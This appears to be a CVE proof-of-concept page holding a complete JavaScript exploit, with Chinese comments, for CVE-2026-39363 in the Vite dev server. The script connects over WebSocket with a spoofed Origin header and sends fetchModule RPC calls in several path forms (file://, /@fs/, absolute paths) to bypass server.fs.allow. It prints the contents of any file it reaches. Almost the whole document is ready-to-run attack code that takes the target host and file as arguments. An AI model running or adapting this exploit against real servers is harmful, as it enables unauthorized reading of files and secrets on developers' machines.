5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.js JS
/**
 * CVE-2026-39363 POC
 * Vite Dev Server WebSocket Arbitrary File Read Vulnerability
 *
 * 漏洞原理:
 * Vite 的 WebSocket fetchModule RPC 调用绕过了 server.fs.allow 安全检查
 * 当不传入 importer 参数时, file:// URL 或绝对路径请求会绕过文件系统访问控制
 *
 * 核心漏洞代码 (dep-B0fRCRkQ.js:52065-52072):
 * if (isFileUrl || !importer) {
 *   const resolved = await environment.pluginContainer.resolveId(url);
 *   // 直接 resolveId, 绕过 isFileServingAllowed 检查
 * }
 */

import { WebSocket } from 'ws';

const TARGET_HOST = process.argv[2] || 'localhost';
const TARGET_PORT = process.argv[3] || '5173';
const TARGET_FILE = process.argv[4] || 'C:/Windows/win.ini';
const WS_TOKEN = process.argv[5] || 'test_token';

// 处理 IPv6 地址(需要用方括号包裹)
const host = TARGET_HOST.includes(':') ? `[${TARGET_HOST}]` : TARGET_HOST;
const wsUrl = `ws://${host}:${TARGET_PORT}?token=${WS_TOKEN}`;

console.log('='.repeat(60));
console.log('CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read');
console.log('='.repeat(60));
console.log(`Target: ${wsUrl}`);
console.log(`File to read: ${TARGET_FILE}`);
console.log(`Token: ${WS_TOKEN}`);
console.log('');

// Vite 使用 "vite-hmr" 作为 WebSocket 协议
// 添加 Origin header 以绕过服务器的 CORS 检查
const ws = new WebSocket(wsUrl, 'vite-hmr', {
  headers: {
    'Origin': `http://${TARGET_HOST}:${TARGET_PORT}`,
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
  }
});

let invokeId = 0;
let fileFound = false;

function sendInvoke(name, args) {
  const id = `invoke_${invokeId++}`;
  const payload = {
    type: 'custom',
    event: 'vite:invoke',
    data: {
      id: id,
      name: name,
      data: args
    }
  };
  console.log(`[*] Sending RPC: ${name}(${JSON.stringify(args)})`);
  ws.send(JSON.stringify(payload));
  return id;
}

ws.on('open', () => {
  console.log('[*] WebSocket connected successfully');
  console.log('[*] Waiting for server acknowledgment...');
  console.log('');

  // 等待 connected 消息后发送请求
  setTimeout(() => {
    // 尝试多种路径格式 - 利用 fetchModule 对 file:// URL 的处理漏洞
    const testPaths = [];

    // 1. 直接使用 file:// 协议 (绕过 server.fs.allow)
    testPaths.push(`file://${TARGET_FILE}`);

    // 2. file:// 协议 + 正斜杠路径
    const normalizedPath = TARGET_FILE.replace(/\\/g, '/');
    testPaths.push(`file://${normalizedPath}`);

    // 3. Windows 路径直接使用 (Vite 内部会处理)
    testPaths.push(TARGET_FILE);

    // 4. @fs 前缀 (用于访问项目根目录外的文件)
    testPaths.push(`/@fs/${normalizedPath}`);

    // 5. 尝试使用绝对路径 (无 importer 时直接 resolveId)
    testPaths.push(normalizedPath);

    // 6. 添加盘符前缀 (Windows)
    if (normalizedPath.match(/^[A-Z]:/i)) {
      testPaths.push(`/${normalizedPath}`);
    }

    console.log(`[*] Testing ${testPaths.length} path variations...`);
    console.log('');

    let delay = 500;
    testPaths.forEach((path, i) => {
      setTimeout(() => {
        sendInvoke('fetchModule', [path]);
      }, delay + i * 400);
    });

    // 10秒后关闭连接
    setTimeout(() => {
      if (!fileFound) {
        console.log('\n[-] No file content retrieved after all attempts');
      }
      console.log('\n[*] Closing connection...');
      ws.close();
    }, 10000);

  }, 500);
});

ws.on('message', (data) => {
  try {
    const parsed = JSON.parse(data.toString());

    // 打印所有响应以便调试
    console.log(`[<] Response: ${JSON.stringify(parsed).slice(0, 500)}`);

    // 处理 connected 消息
    if (parsed.type === 'connected') {
      console.log('[+] Server confirmed WebSocket connection');
      console.log('[+] Connection established, ready to exploit');
      return;
    }

    // 处理 ping 消息 - 发送 pong 响应
    if (parsed.type === 'ping') {
      ws.send(JSON.stringify({ type: 'pong' }));
      return;
    }

    // 处理 vite:invoke 响应
    if (parsed.type === 'custom' && parsed.event === 'vite:invoke') {
      // 响应结构: { type, event, data: { name, id, data: { result/error } } }
      const outerData = parsed.data;
      const innerData = outerData?.data || {};
      const resultData = innerData;

      if (resultData.error) {
        const errorMsg = resultData.error.message || JSON.stringify(resultData.error);
        console.log(`[-] Error: ${errorMsg}`);
        return;
      }

      if (resultData.result) {
        const result = resultData.result;

        // 检查是否成功获取文件内容
        if (result.code) {
          fileFound = true;
          console.log('\n' + '='.repeat(60));
          console.log('[+] SUCCESS! Arbitrary file read achieved!');
          console.log('='.repeat(60));
          console.log(`File path: ${result.file || result.url || result.id}`);
          console.log('-'.repeat(60));
          console.log('[+] File content:');
          console.log('-'.repeat(60));
          console.log(result.code);
          console.log('='.repeat(60));
          console.log('\n[!] This demonstrates CVE-2026-39363 vulnerability');
          console.log('[!] WebSocket fetchModule bypassed server.fs.allow checks');
          console.log('');

          // 成功后立即关闭
          setTimeout(() => ws.close(), 1000);
        }

        if (result.externalize) {
          console.log(`[*] Externalized: ${result.externalize}`);
        }

        if (result.cache) {
          console.log(`[*] Cache hit for module`);
        }

        // 打印完整 result 结构
        if (!result.code) {
          console.log(`[*] Result keys: ${Object.keys(result).join(', ')}`);
        }
      }
    }

  } catch (e) {
    // 非 JSON 消息,直接打印
    const raw = data.toString();
    console.log(`[<] Raw message: ${raw}`);
  }
});

ws.on('error', (error) => {
  console.log(`[-] WebSocket error: ${error.message}`);
  if (error.message.includes('ECONNREFUSED')) {
    console.log('[!] Target server is not running or port is incorrect');
  }
  if (error.message.includes('protocol')) {
    console.log('[!] Server rejected vite-hmr protocol');
  }
});

ws.on('close', (code, reason) => {
  console.log(`\n[*] WebSocket closed (code: ${code})`);
  if (code === 1006) {
    console.log('[!] Connection closed abnormally - possible token mismatch');
  }
  process.exit(fileFound ? 0 : 1);
});